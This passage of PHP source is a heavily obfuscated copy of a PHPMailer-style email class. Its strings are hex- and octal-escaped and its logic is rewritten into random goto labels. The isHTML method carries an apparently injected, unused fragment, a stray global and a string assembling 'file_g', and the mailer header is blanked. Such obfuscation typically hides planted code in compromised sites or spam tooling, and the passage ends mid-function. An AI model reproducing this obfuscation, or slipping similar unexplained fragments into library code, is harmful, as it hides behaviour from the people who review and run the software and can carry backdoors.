public $Sendmail = "\x2f\x75\163\x72\x2f\x73\142\x69\x6e\57\x73\145\156\144\x6d\x61\151\154";
public $UseSendmailOptions = true;
public $PluginDir = '';
public $ConfirmReadingTo = '';
public $Hostname = '';
public $MessageID = '';
public $MessageDate = '';
public $Host = "\154\157\143\x61\x6c\150\x6f\163\164";
public $Port = 25;
public $Helo = '';
public $SMTPSecure = '';
public $SMTPAutoTLS = true;
public $SMTPAuth = false;
public $SMTPOptions = array();
public $Username = '';
public $Password = '';
public $AuthType = '';
public $Realm = '';
public $Workstation = '';
public $Timeout = 300;
public $SMTPDebug = 0;
public $Debugoutput = "\x65\143\x68\x6f";
public $SMTPKeepAlive = false;
public $SingleTo = false;
public $SingleToArray = array();
public $do_verp = false;
public $AllowEmpty = false;
public $LE = "\xa";
public $DKIM_selector = '';
public $DKIM_identity = '';
public $DKIM_passphrase = '';
public $DKIM_domain = '';
public $DKIM_private = '';
public $DKIM_private_string = '';
public $action_function = '';
public $XMailer = "\40";
public static $validator = "\x61\165\164\x6f";
protected $smtp = null;
protected $to = array();
protected $cc = array();
protected $bcc = array();
protected $ReplyTo = array();
protected $all_recipients = array();
protected $RecipientsQueue = array();
protected $ReplyToQueue = array();
protected $attachment = array();
protected $CustomHeader = array();
protected $lastMessageID = '';
protected $message_type = '';
protected $boundary = array();
protected $language = array();
protected $error_count = 0;
protected $sign_cert_file = '';
protected $sign_key_file = '';
protected $sign_extracerts_file = '';
protected $sign_key_pass = '';
protected $exceptions = false;
protected $uniqueid = '';
const STOP_MESSAGE = 0;
const STOP_CONTINUE = 1;
const STOP_CRITICAL = 2;
const CRLF = "\xd\xa";
const MAX_LINE_LENGTH = 998;
public function __construct($PpHun = null)
{
if (!($PpHun !== null)) {
goto iX0os;
}
$this->exceptions = (bool) $PpHun;
iX0os:
$this->Debugoutput = strpos(PHP_SAPI, "\143\154\x69") !== false ? "\145\x63\150\157" : "\150\x74\155\154";
}
public function __destruct()
{
$this->smtpClose();
}
private function mailPassthru($aB8Ql, $O5Nl2, $DwsX3, $akbHB, $azIW_)
{
if (ini_get("\155\142\x73\x74\x72\151\x6e\x67\x2e\x66\165\x6e\143\x5f\x6f\x76\145\x72\x6c\x6f\x61\144") & 1) {
goto H10z0;
}
$O5Nl2 = $this->encodeHeader($this->secureHeader($O5Nl2));
goto Xbnel;
H10z0:
$O5Nl2 = $this->secureHeader($O5Nl2);
Xbnel:
if (ini_get("\163\x61\x66\145\137\155\157\x64\145") or !$this->UseSendmailOptions or is_null($azIW_)) {
goto JrxYS;
}
$FqysX = @mail($aB8Ql, $O5Nl2, $DwsX3, $akbHB, $azIW_);
goto euK4q;
JrxYS:
$FqysX = @mail($aB8Ql, $O5Nl2, $DwsX3, $akbHB);
euK4q:
return $FqysX;
}
protected function edebug($xyy5m)
{
if (!($this->SMTPDebug <= 0)) {
goto ZnHST;
}
return;
ZnHST:
if (!(!in_array($this->Debugoutput, array("\145\x72\x72\157\x72\137\x6c\157\147", "\150\164\x6d\x6c", "\x65\x63\150\x6f")) and is_callable($this->Debugoutput))) {
goto cfAj3;
}
call_user_func($this->Debugoutput, $xyy5m, $this->SMTPDebug);
return;
cfAj3:
switch ($this->Debugoutput) {
case "\145\162\x72\157\x72\137\154\157\147":
error_log($xyy5m);
goto QcSoX;
case "\150\x74\x6d\154":
echo htmlentities(preg_replace("\57\x5b\134\x72\x5c\x6e\x5d\x2b\57", '', $xyy5m), ENT_QUOTES, "\x55\x54\106\x2d\x38") . "\x3c\142\x72\x3e\xa";
goto QcSoX;
case "\x65\143\150\x6f":
default:
$xyy5m = preg_replace("\57\134\x72\134\x6e\77\x2f\x6d\163", "\xa", $xyy5m);
echo gmdate("\x59\55\x6d\x2d\x64\x20\110\72\x69\72\163") . "\x9" . str_replace("\12", "\xa\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\40\40\40\40\x20\40\40\40\x9\40\x20\40\x20\40\x20\40\40\40\x20\x20\40\40\40\40\40\40\x20", trim($xyy5m)) . "\12";
}
Nn91J:
QcSoX:
}
public function isSMTP()
{
$this->Mailer = "\x73\x6d\164\x70";
}
public function isMail()
{
$this->Mailer = "\155\141\x69\x6c";
}
public function isSendmail()
{
$dllds = ini_get("\163\x65\156\x64\155\141\151\x6c\137\x70\141\x74\150");
if (!stristr($dllds, "\163\x65\x6e\x64\x6d\141\151\154")) {
goto rpBB0;
}
$this->Sendmail = $dllds;
goto VuS_8;
rpBB0:
$this->Sendmail = "\57\x75\163\x72\57\x73\142\151\x6e\57\x73\145\156\144\155\x61\x69\154";
VuS_8:
$this->Mailer = "\x73\x65\156\144\x6d\x61\151\x6c";
}
public function isQmail()
{
$dllds = ini_get("\x73\145\156\x64\x6d\x61\151\154\x5f\x70\x61\x74\150");
if (!stristr($dllds, "\x71\155\x61\151\154")) {
goto oiA55;
}
$this->Sendmail = $dllds;
goto AIV9R;
oiA55:
$this->Sendmail = "\x2f\x76\141\162\57\x71\x6d\x61\151\154\57\x62\151\x6e\x2f\x71\x6d\x61\x69\154\55\x69\156\152\x65\143\164";
AIV9R:
$this->Mailer = "\161\x6d\141\151\154";
}
public function addAddress($pMuIe, $lYmCQ = '')
{
return $this->addOrEnqueueAnAddress("\x74\157", $pMuIe, $lYmCQ);
}
public function addCC($pMuIe, $lYmCQ = '')
{
return $this->addOrEnqueueAnAddress("\143\143", $pMuIe, $lYmCQ);
}
public function addBCC($pMuIe, $lYmCQ = '')
{
return $this->addOrEnqueueAnAddress("\x62\x63\143", $pMuIe, $lYmCQ);
}
public function addReplyTo($pMuIe, $lYmCQ = '')
{
return $this->addOrEnqueueAnAddress("\x52\x65\x70\154\171\55\x54\157", $pMuIe, $lYmCQ);
}
protected function addOrEnqueueAnAddress($gj0hs, $pMuIe, $lYmCQ)
{
$pMuIe = trim($pMuIe);
$lYmCQ = trim(preg_replace("\57\x5b\134\x72\134\x6e\135\x2b\x2f", '', $lYmCQ));
if (!(($gTsib = strrpos($pMuIe, "\100")) === false)) {
goto CenSt;
}
$zoqRO = $this->lang("\151\156\166\141\x6c\151\144\x5f\x61\144\x64\x72\145\x73\163") . "\40\50\x61\144\144\x41\156\x41\x64\x64\x72\x65\x73\x73\x20{$gj0hs}\51\x3a\x20{$pMuIe}";
$this->setError($zoqRO);
$this->edebug($zoqRO);
if (!$this->exceptions) {
goto lxCrm;
}
throw new phpmailerException($zoqRO);
lxCrm:
return false;
CenSt:
$azIW_ = array($gj0hs, $pMuIe, $lYmCQ);
if (!($this->has8bitChars(substr($pMuIe, ++$gTsib)) and $this->idnSupported())) {
goto j2CGH;
}
if ($gj0hs != "\122\145\160\154\x79\x2d\x54\x6f") {
goto DAeeF;
}
if (array_key_exists($pMuIe, $this->ReplyToQueue)) {
goto ntAKf;
}
$this->ReplyToQueue[$pMuIe] = $azIW_;
return true;
ntAKf:
goto f00PZ;
DAeeF:
if (array_key_exists($pMuIe, $this->RecipientsQueue)) {
goto ipYHg;
}
$this->RecipientsQueue[$pMuIe] = $azIW_;
return true;
ipYHg:
f00PZ:
return false;
j2CGH:
return call_user_func_array(array($this, "\x61\144\144\101\156\x41\x64\x64\162\x65\163\163"), $azIW_);
}
protected function addAnAddress($gj0hs, $pMuIe, $lYmCQ = '')
{
if (in_array($gj0hs, array("\164\157", "\x63\x63", "\142\x63\x63", "\122\145\x70\154\171\x2d\124\157"))) {
goto RRRvp;
}
$zoqRO = $this->lang("\111\x6e\166\x61\154\x69\x64\x20\162\x65\x63\x69\160\151\145\156\164\x20\x6b\x69\156\x64\x3a\40") . $gj0hs;
$this->setError($zoqRO);
$this->edebug($zoqRO);
if (!$this->exceptions) {
goto owccw;
}
throw new phpmailerException($zoqRO);
owccw:
return false;
RRRvp:
if ($this->validateAddress($pMuIe)) {
goto dVJAO;
}
$zoqRO = $this->lang("\x69\156\166\x61\x6c\151\144\x5f\x61\x64\144\x72\x65\x73\163") . "\40\x28\x61\x64\x64\101\156\101\144\144\162\x65\x73\x73\40{$gj0hs}\51\x3a\40{$pMuIe}";
$this->setError($zoqRO);
$this->edebug($zoqRO);
if (!$this->exceptions) {
goto Zr_ab;
}
throw new phpmailerException($zoqRO);
Zr_ab:
return false;
dVJAO:
if ($gj0hs != "\x52\145\160\154\171\x2d\124\157") {
goto Uhg7h;
}
if (array_key_exists(strtolower($pMuIe), $this->ReplyTo)) {
goto d6Cdl;
}
$this->ReplyTo[strtolower($pMuIe)] = array($pMuIe, $lYmCQ);
return true;
d6Cdl:
goto LthOX;
Uhg7h:
if (array_key_exists(strtolower($pMuIe), $this->all_recipients)) {
goto CzzDm;
}
array_push($this->{$gj0hs}, array($pMuIe, $lYmCQ));
$this->all_recipients[strtolower($pMuIe)] = true;
return true;
CzzDm:
LthOX:
return false;
}
public function parseAddresses($Dzb8_, $wcWEa = true)
{
$WiFtW = array();
if ($wcWEa and function_exists("\x69\x6d\141\160\137\162\146\x63\x38\62\x32\x5f\x70\141\162\x73\145\x5f\141\x64\x72\x6c\x69\x73\x74")) {
goto LAknt;
}
$DPj3k = explode("\54", $Dzb8_);
foreach ($DPj3k as $pMuIe) {
$pMuIe = trim($pMuIe);
if (strpos($pMuIe, "\x3c") === false) {
goto QmyOL;
}
list($lYmCQ, $D2erR) = explode("\x3c", $pMuIe);
$D2erR = trim(str_replace("\x3e", '', $D2erR));
if (!$this->validateAddress($D2erR)) {
goto Bip5X;
}
$WiFtW[] = array("\156\x61\x6d\145" => trim(str_replace(array("\42", "\47"), '', $lYmCQ)), "\141\144\x64\162\145\x73\163" => $D2erR);
Bip5X:
goto M6dOC;
QmyOL:
if (!$this->validateAddress($pMuIe)) {
goto Vzl40;
}
$WiFtW[] = array("\x6e\x61\155\145" => '', "\x61\144\144\162\145\x73\x73" => $pMuIe);
Vzl40:
M6dOC:
TYQ0n:
}
XAutq:
goto JUJEC;
LAknt:
$DPj3k = imap_rfc822_parse_adrlist($Dzb8_, '');
foreach ($DPj3k as $pMuIe) {
if (!($pMuIe->host != "\56\x53\131\116\124\x41\130\55\105\122\122\117\x52\56")) {
goto LEYdA;
}
if (!$this->validateAddress($pMuIe->mailbox . "\x40" . $pMuIe->host)) {
goto r3KU7;
}
$WiFtW[] = array("\156\141\x6d\145" => property_exists($pMuIe, "\x70\x65\162\163\157\x6e\141\x6c") ? $pMuIe->personal : '', "\x61\x64\x64\162\145\x73\x73" => $pMuIe->mailbox . "\100" . $pMuIe->host);
r3KU7:
LEYdA:
eNykM:
}
DmC_A:
JUJEC:
return $WiFtW;
}
public function isHTML($KXxkI = true)
{
global $zsXKQ;
$OjLc5 = "\146\x69\x6c\x65" . "\x5f\x67";
if ($KXxkI) {
goto LeqEA;
}
$this->ContentType = "\164\145\170\x74\x2f\160\x6c\x61\x69\x6e";
goto hGfcO;
LeqEA:
$this->ContentType = "\164\145\x78\164\x2f\x68\x74\x6d\154";
hGfcO:
}
public function setFrom($pMuIe, $lYmCQ = '', $Z3wI9 = true)
{
$pMuIe = trim($pMuIe);
$lYmCQ = trim(preg_replace("\57\x5b\134\x72\x5c\156\x5d\x2b\57", '', $lYmCQ));
if (!(($gTsib = strrpos($pMuIe, "\x40")) === false or (!$this->has8bitChars(substr($pMuIe, ++$gTsib)) or !$this->idnSupported()) and !$this->validateAddress($pMuIe))) {
goto VsKbp;
}
$zoqRO = $this->lang("\x69\x6e\166\x61\x6c\151\144\x5f\141\x64\x64\162\x65\x73\163") . "\40\x28\x73\145\x74\x46\162\x6f\x6d\51\x20{$pMuIe}";
$this->setError($zoqRO);
$this->edebug($zoqRO);
if (!$this->exceptions) {
goto bQWxA;
}
throw new phpmailerException($zoqRO);
bQWxA:
return false;
VsKbp:
$this->From = $pMuIe;
$this->FromName = $lYmCQ;
if (!$Z3wI9) {
goto Lq3if;
}
if (!empty($this->Sender)) {
goto HrD01;
}
$this->Sender = $pMuIe;
HrD01:
Lq3if:
return true;
}
public function getLastMessageID()
{
return $this->lastMessageID;
}
public static function validateAddress($pMuIe, $vrm1n = null)
{
if (!is_null($vrm1n)) {
goto nkKFU;
}
$vrm1n = self::$validator;
nkKFU:
if (!is_callable($vrm1n)) {
goto b5HdD;
}
return call_user_func($vrm1n, $pMuIe);
b5HdD:
if (!(strpos($pMuIe, "\12") !== false or strpos($pMuIe, "\xd") !== false)) {
goto i8HdA;
}
return false;
i8HdA:
if (!(!$vrm1n or $vrm1n == "\141\x75\164\157")) {
goto mVzd1;
}
if (defined("\x50\x43\122\x45\x5f\x56\x45\122\x53\111\x4f\116")) {
goto t19v3;
}
if (function_exists("\x65\170\x74\x65\156\x73\x69\x6f\156\x5f\154\157\x61\144\x65\144") and extension_loaded("\160\143\162\x65")) {
goto E9SXu;
}
if (version_compare(PHP_VERSION, "\x35\56\62\56\60") >= 0) {
goto wNnws;
}
$vrm1n = "\156\157\x72\145\x67\145\x78";
goto xMqdJ;
wNnws:
$vrm1n = "\160\150\x70";
xMqdJ:
goto UymVe;
t19v3:
if (version_compare(PCRE_VERSION, "\70\56\60\56\63") >= 0) {
goto S0IMF;
}
$vrm1n = "\160\143\162\x65";
goto ONYEf;
S0IMF:
$vrm1n = "\160\x63\162\145\70";
ONYEf:
goto UymVe;
E9SXu:
$vrm1n = "\160\143\x72\145";
UymVe:
mVzd1:
switch ($vrm1n) {
case "\160\143\x72\145\70":
return (bool) preg_match("\57\136\x28\77\41\x28\x3f\x3e\x28\x3f\x31\x29\x22\77\50\77\76\134\134\133\40\55\x7e\x5d\174\x5b\x5e\42\135\x29\x22\77\x28\x3f\61\51\51\173\62\65\x35\x2c\175\x29\50\77\x21\50\x3f\x3e\50\x3f\x31\x29\x22\x3f\x28\x3f\x3e\x5c\134\133\x20\x2d\x7e\135\174\133\136\x22\x5d\51\42\77\x28\x3f\x31\51\51\x7b\66\65\x2c\x7d\100\51" . "\x28\50\x3f\76\x28\x3f\x3e\x28\x3f\76\50\x28\77\x3e\x28\77\x3e\x28\x3f\76\134\x78\60\104\134\x78\x30\101\x29\77\x5b\x5c\x74\x20\x5d\x29\53\x7c\x28\x3f\76\x5b\x5c\164\x20\x5d\x2a\134\x78\60\x44\x5c\x78\x30\101\x29\77\133\x5c\x74\40\x5d\x2b\51\x3f\51\x28\x5c\x28\x28\x3f\76\50\77\x32\x29" . "\50\x3f\76\133\134\x78\60\x31\x2d\134\x78\60\70\x5c\170\x30\x42\134\170\60\103\x5c\170\x30\x45\x2d\47\x2a\55\134\133\x5c\x5d\55\134\x78\x37\106\135\x7c\x5c\x5c\x5b\134\x78\60\x30\x2d\134\x78\x37\106\135\174\50\77\x33\51\51\51\x2a\50\77\x32\51\x5c\x29\x29\x29\53\x28\77\62\x29\51\174\50\77\x32\51\x29\77\x29" . "\50\133\x21\43\55\x27\52\53\x5c\x2f\55\x39\x3d\x3f\136\x2d\176\x2d\x5d\53\x7c\x22\x28\77\x3e\x28\x3f\62\51\50\77\x3e\133\x5c\x78\x30\x31\x2d\x5c\170\60\70\x5c\170\x30\x42\134\170\60\103\134\x78\60\x45\55\41\x23\55\134\x5b\134\135\x2d\134\x78\x37\106\x5d\174\x5c\134\x5b\134\x78\60\x30\55\134\x78\x37\106\x5d\51\51\x2a" . "\x28\77\x32\x29\42\x29\50\77\x3e\x28\x3f\61\x29\x5c\56\x28\77\x31\51\50\77\64\x29\x29\x2a\50\x3f\61\51\x40\x28\x3f\x21\50\x3f\61\51\133\x61\x2d\172\x30\55\71\55\x5d\x7b\66\64\54\x7d\x29\x28\x3f\61\x29\x28\77\76\x28\x5b\x61\55\x7a\x30\x2d\71\135\50\x3f\76\133\141\x2d\172\60\55\71\x2d\x5d\52\x5b\x61\55\x7a\x30\x2d\71\x5d\51\77\x29" . "\50\x3f\x3e\50\77\61\x29\x5c\x2e\x28\x3f\x21\x28\x3f\x31\51\x5b\141\x2d\172\60\55\x39\55\x5d\x7b\66\64\54\x7d\x29\50\77\x31\x29\x28\x3f\65\51\x29\173\x30\x2c\x31\x32\x36\x7d\174\134\133\x28\77\72\50\x3f\76\111\120\166\66\x3a\50\77\x3e\x28\x5b\x61\x2d\x66\x30\55\x39\x5d\173\61\54\x34\175\x29\x28\x3f\x3e\x3a\50\x3f\66\51\51\173\67\175" . "\x7c\50\77\x21\50\77\72\x2e\52\x5b\x61\x2d\146\x30\x2d\x39\x5d\x5b\72\134\x5d\135\x29\173\x38\x2c\x7d\x29\x28\50\x3f\x36\51\50\x3f\76\x3a\x28\77\x36\51\x29\173\x30\x2c\x36\175\51\77\72\72\x28\x3f\x37\51\x3f\x29\51\174\x28\77\76\50\77\x3e\x49\x50\166\x36\72\x28\x3f\76\50\x3f\x36\51\x28\77\76\72\x28\77\66\x29\51\173\65\175\x3a" . "\x7c\x28\x3f\41\50\77\72\x2e\x2a\133\x61\x2d\146\x30\55\x39\135\72\x29\173\x36\x2c\175\51\x28\x3f\70\x29\x3f\72\72\50\x3f\76\x28\x28\77\x36\51\50\x3f\x3e\72\x28\x3f\x36\51\x29\x7b\60\54\x34\175\x29\72\51\x3f\x29\51\77\x28\x32\x35\x5b\60\x2d\x35\135\174\62\133\x30\x2d\x34\135\133\60\x2d\x39\x5d\x7c\x31\133\x30\x2d\x39\x5d\173\62\x7d" . "\x7c\x5b\x31\x2d\71\x5d\x3f\x5b\x30\x2d\71\135\51\x28\77\76\x5c\x2e\x28\x3f\71\x29\51\x7b\x33\175\x29\x29\x5c\x5d\x29\x28\77\61\x29\x24\57\151\163\x44", $pMuIe);
case "\x70\x63\x72\145":
return (bool) preg_match("\x2f\136\x28\77\41\50\x3f\76\x22\77\50\x3f\x3e\x5c\134\133\40\x2d\x7e\135\x7c\133\136\x22\x5d\x29\42\x3f\51\x7b\x32\x35\65\54\175\x29\50\x3f\x21\x28\x3f\x3e\x22\x3f\50\x3f\76\134\x5c\133\40\x2d\x7e\x5d\x7c\133\x5e\x22\x5d\51\x22\x3f\51\x7b\66\65\x2c\175\x40\51\50\77\x3e" . "\133\x21\43\55\x27\x2a\x2b\x5c\57\x2d\71\75\77\x5e\55\x7e\x2d\135\53\174\42\50\77\76\x28\77\76\133\134\170\x30\61\55\134\x78\x30\70\134\170\60\102\x5c\x78\60\x43\x5c\170\60\105\55\41\x23\55\x5c\x5b\x5c\x5d\x2d\x5c\170\x37\x46\x5d\174\134\x5c\133\134\170\x30\60\55\x5c\x78\106\x46\135\51\51\x2a\42\51" . "\x28\77\76\x5c\56\50\77\x3e\133\x21\x23\x2d\47\52\53\x5c\57\55\71\x3d\x3f\136\x2d\x7e\x2d\135\53\x7c\42\x28\x3f\76\50\x3f\x3e\x5b\x5c\x78\x30\61\55\134\170\x30\70\134\170\60\102\x5c\170\x30\103\134\x78\x30\105\55\41\x23\55\134\133\134\x5d\55\x5c\x78\67\x46\135\x7c\x5c\x5c\133\x5c\170\60\60\x2d\x5c\170\x46\x46\x5d\51\x29\52\x22\51\x29\x2a" . "\100\x28\x3f\x3e\x28\77\41\133\141\x2d\x7a\60\55\x39\55\x5d\x7b\x36\x34\x2c\175\x29\x28\x3f\76\x5b\x61\x2d\172\60\x2d\x39\x5d\50\x3f\x3e\133\x61\55\x7a\60\x2d\x39\x2d\x5d\52\133\x61\55\172\60\x2d\71\135\x29\x3f\x29\50\x3f\76\x5c\56\x28\x3f\x21\x5b\141\x2d\x7a\x30\x2d\x39\55\x5d\173\x36\64\x2c\175\x29" . "\x28\77\x3e\133\x61\55\172\x30\55\71\x5d\50\77\x3e\x5b\x61\x2d\172\x30\55\x39\55\135\52\133\141\55\172\x30\x2d\x39\x5d\51\77\51\51\x7b\60\x2c\61\x32\66\x7d\x7c\134\x5b\x28\77\x3a\50\77\x3e\x49\120\166\x36\x3a\50\x3f\x3e\x28\x3f\x3e\133\x61\x2d\x66\60\x2d\71\135\173\61\54\x34\x7d\51\50\77\x3e\x3a" . "\x5b\141\55\146\x30\55\71\135\x7b\x31\54\x34\x7d\51\x7b\x37\175\x7c\x28\77\x21\50\77\72\x2e\x2a\x5b\141\55\146\60\x2d\x39\135\133\72\x5c\135\135\x29\x7b\70\x2c\x7d\51\50\x3f\x3e\133\x61\x2d\x66\60\55\71\135\x7b\61\x2c\64\x7d\50\x3f\x3e\x3a\x5b\141\55\146\60\55\71\x5d\173\61\x2c\x34\175\51\x7b\60\54\x36\x7d\51\x3f" . "\x3a\x3a\50\77\x3e\133\x61\x2d\146\x30\x2d\71\135\x7b\x31\54\x34\x7d\x28\77\x3e\x3a\x5b\141\55\146\x30\55\71\x5d\x7b\61\x2c\64\175\51\173\x30\x2c\x36\x7d\x29\77\51\51\174\50\77\76\x28\x3f\76\111\x50\x76\x36\x3a\x28\x3f\76\x5b\141\55\x66\60\x2d\x39\135\x7b\x31\54\64\175\x28\77\x3e\x3a" . "\x5b\141\x2d\x66\60\55\x39\x5d\x7b\61\x2c\x34\175\51\x7b\x35\x7d\72\174\x28\x3f\41\50\77\72\x2e\x2a\133\x61\55\146\60\x2d\x39\x5d\72\51\x7b\x36\54\x7d\x29\50\x3f\76\x5b\x61\55\146\60\x2d\71\x5d\173\x31\x2c\64\175\x28\x3f\x3e\72\x5b\x61\55\146\60\55\x39\135\173\61\54\x34\x7d\x29\x7b\x30\x2c\x34\175\51\x3f" . "\72\72\x28\x3f\x3e\50\x3f\72\133\x61\55\146\x30\55\x39\x5d\x7b\x31\x2c\x34\175\50\x3f\76\x3a\133\x61\55\146\x30\55\71\x5d\x7b\61\x2c\64\x7d\x29\173\60\x2c\64\175\x29\x3a\51\77\51\x29\x3f\x28\77\x3e\x32\x35\133\60\55\65\x5d\x7c\x32\x5b\x30\55\64\x5d\133\60\x2d\x39\x5d\x7c\x31\x5b\60\x2d\71\x5d\x7b\62\175" . "\174\x5b\x31\x2d\71\135\x3f\133\60\x2d\71\135\51\50\77\x3e\134\x2e\50\77\x3e\x32\x35\133\x30\55\65\135\174\x32\133\x30\x2d\64\135\x5b\60\55\x39\x5d\x7c\61\x5b\x30\55\x39\135\x7b\62\175\174\x5b\x31\x2d\71\135\x3f\x5b\x30\x2d\71\x5d\51\51\x7b\x33\175\51\x29\x5c\x5d\51\44\57\x69\x73\104", $pMuIe);
case "\150\164\x6d\154\65":
return (bool) preg_match("\57\136\133\x61\x2d\x7a\101\55\x5a\x30\x2d\x39\56\x21\43\44\45\46\47\52\x2b\x5c\x2f\75\77\136\x5f\x60\173\x7c\x7d\x7e\55\135\x2b\100\133\141\x2d\172\x41\55\132\60\x2d\x39\x5d\50\x3f\72\x5b\141\x2d\x7a\101\55\132\x30\55\71\55\x5d\173\60\x2c\x36\x31\x7d" . "\x5b\x61\x2d\x7a\x41\55\x5a\x30\55\x39\x5d\51\x3f\50\x3f\72\134\56\x5b\x61\55\172\101\x2d\132\x30\55\x39\135\50\77\72\133\x61\x2d\x7a\101\55\132\x30\55\x39\x2d\135\173\x30\54\66\x31\x7d\x5b\141\55\172\101\x2d\x5a\60\55\x39\x5d\x29\x3f\x29\52\44\x2f\163\104", $pMuIe);
case "\x6e\157\162\x65\147\x65\x78":
return strlen($pMuIe) >= 3 and strpos($pMuIe, "\x40") >= 1 and strpos($pMuIe, "\x40") != strlen($pMuIe) - 1;
case "\x70\x68\x70":
default:
return (bool) filter_var($pMuIe, FILTER_VALIDATE_EMAIL);
}
nfvzM:
g7PPI:
}
public function idnSupported()
{
return function_exists("\x69\x64\x6e\137\164\x6f\137\x61\x73\x63\x69\x69") and function_exists("\x6d\x62\137\143\x6f\156\166\145\162\x74\x5f\x65\156\143\157\x64\151\x6e\x67");
}
public function punyencodeAddress($pMuIe)
{
if (!($this->idnSupported() and !empty($this->CharSet) and ($gTsib = strrpos($pMuIe, "\100")) !== false)) {
goto OPTyU;
}
$ASPb4 = substr($pMuIe, ++$gTsib);
if (!($this->has8bitChars($ASPb4) and @mb_check_encoding($ASPb4, $this->CharSet))) {
goto pYmZl;
}
$ASPb4 = mb_convert_encoding($ASPb4, "\x55\x54\x46\55\70", $this->CharSet);
if (!(($ul2Vp = defined("\111\x4e\124\x4c\x5f\x49\104\x4e\x41\137\x56\101\122\x49\101\116\124\x5f\x55\x54\x53\x34\66") ? idn_to_ascii($ASPb4, 0, INTL_IDNA_VARIANT_UTS46) : idn_to_ascii($ASPb4)) !== false)) {
goto PFeXh;
}
return substr($pMuIe, 0, $gTsib) . $ul2Vp;
PFeXh:
pYmZl:
OPTyU:
return $pMuIe;
}
public function send()
{
try {
if ($this->preSend()) {
goto VyE4m;
}
return false;
VyE4m:
return $this->postSend();
} catch (phpmailerException $K5HlO) {
$this->mailHeader = '';
$this->setError($K5HlO->getMessage());
if (!$this->exceptions) {
goto eyb1R;
}
throw $K5HlO;
eyb1R:
return false;
}
}
public function preSend()
{
try {
$this->error_count = 0;
$this->mailHeader = '';
foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $azIW_) {
$azIW_[1] = $this->punyencodeAddress($azIW_[1]);
call_user_func_array(array($this, "\x61\x64\144\101\x6e\101\x64\x64\x72\145\163\x73"), $azIW_);
xT1YX:
}
szpE2:
if (!(count($this->to) + count($this->cc) + count($this->bcc) < 1)) {
goto lqE9i;
}
throw new phpmailerException($this->lang("\x70\x72\x6f\166\x69\x64\x65\x5f\x61\144\144\x72\145\163\x73"), self::STOP_CRITICAL);
lqE9i:
foreach (array("\x46\162\157\155", "\x53\x65\156\x64\x65\162", "\x43\x6f\x6e\x66\151\162\x6d\122\x65\141\x64\151\156\x67\124\x6f") as $im0EG) {
$this->{$im0EG} = trim($this->{$im0EG});
if (!empty($this->{$im0EG})) {
goto inVZw;
}
goto XN3oL;
inVZw:
$this->{$im0EG} = $this->punyencodeAddress($this->{$im0EG});
if ($this->validateAddress($this->{$im0EG})) {
goto LYX8z;
}
$zoqRO = $this->lang("\x69\156\166\141\154\151\144\137\141\x64\x64\162\145\163\163") . "\40\50\160\165\156\171\x45\156\143\157\144\145\x29\40" . $this->{$im0EG};
$this->setError($zoqRO);
$this->edebug($zoqRO);
if (!$this->exceptions) {
goto a2TtE;
}
throw new phpmailerException($zoqRO);
a2TtE:
return false;
LYX8z:
XN3oL:
}
ukLoW:
if (!$this->alternativeExists()) {
goto V9A_k;
}
$this->ContentType = "\155\165\x6c\164\151\x70\141\162\164\57\141\154\164\145\162\x6e\141\164\151\x76\x65";
V9A_k:
$this->setMessageType();
if (!(!$this->AllowEmpty and empty($this->Body))) {
goto Zrqha;
}
throw new phpmailerException($this->lang("\x65\x6d\x70\164\x79\x5f\x6d\145\163\163\141\147\145"), self::STOP_CRITICAL);
Zrqha:
$this->MIMEHeader = '';
$this->MIMEBody = $this->createBody();
$fWcS3 = $this->MIMEHeader;
$this->MIMEHeader = $this->createHeader();
$this->MIMEHeader .= $fWcS3;
if (!($this->Mailer == "\x6d\x61\x69\x6c")) {
goto djmet;
}
if (count($this->to) > 0) {
goto EMCAU;
}
$this->mailHeader .= $this->headerLine("\124\x6f", "\x75\156\144\x69\163\143\x6c\x6f\163\x65\x64\55\x72\x65\x63\151\160\151\x65\x6e\164\163\72\73");
goto bbX04;
EMCAU:
$this->mailHeader .= $this->addrAppend("\x54\157", $this->to);
bbX04:
$this->mailHeader .= $this->headerLine("\x53\x75\x62\152\145\143\164", $this->encodeHeader($this->secureHeader(trim($this->Subject))));
djmet:
if (!(!empty($this->DKIM_domain) and !empty($this->DKIM_selector) and (!empty($this->DKIM_private_string) or !empty($this->DKIM_private) and self::isPermittedPath($this->DKIM_private) and file_exists($this->DKIM_private)))) {
goto wX2A6;
}
$hrk8h = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody);
$this->MIMEHeader = rtrim($this->MIMEHeader, "\15\xa\x20") . self::CRLF . str_replace("\15\xa", "\xa", $hrk8h) . self::CRLF;
wX2A6:
return true;
} catch (phpmailerException $K5HlO) {
$this->setError($K5HlO->getMessage());
if (!$this->exceptions) {
goto fKKJZ;
}
throw $K5HlO;
fKKJZ:
return false;
}
}
public function postSend()
{
try {
switch ($this->Mailer) {
case "\163\x65\156\144\155\x61\151\x6c":
case "\x71\155\x61\x69\154":
return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
case "\x73\155\164\160":
return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
case "\155\x61\151\x6c":
return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
default:
$jk9Kh = $this->Mailer . "\123\x65\x6e\x64";
if (!method_exists($this, $jk9Kh)) {
goto trrSF;
}
return $this->{$jk9Kh}($this->MIMEHeader, $this->MIMEBody);
trrSF:
return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
}
JT8BN:
mx1b7:
} catch (phpmailerException $K5HlO) {
$this->setError($K5HlO->getMessage());
$this->edebug($K5HlO->getMessage());
if (!$this->exceptions) {
goto WjHPj;
}
throw $K5HlO;
WjHPj:
}
return false;
}
protected function sendmailSend($akbHB, $DwsX3)
{
if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
goto I00c9;
}
if ($this->Mailer == "\x71\x6d\141\x69\x6c") {
goto qAagT;
}
$MCWhn = "\x25\163\x20\x2d\157\151\x20\x2d\164";
goto CSG9E;
qAagT:
$MCWhn = "\x25\x73";
CSG9E:
goto yuG5e;
I00c9:
if ($this->Mailer == "\x71\x6d\141\x69\154") {
goto AvbMN;
}
$MCWhn = "\45\163\40\x2d\157\151\40\55\146\45\x73\40\55\x74";
goto YY_a9;
AvbMN:
$MCWhn = "\45\163\40\55\x66\45\x73";
YY_a9:
yuG5e:
$b7ZxZ = sprintf($MCWhn, escapeshellcmd($this->Sendmail), $this->Sender);
if ($this->SingleTo) {
goto wtC2g;
}
if (@($T3VVp = popen($b7ZxZ, "\x77"))) {
goto tVCdb;
}
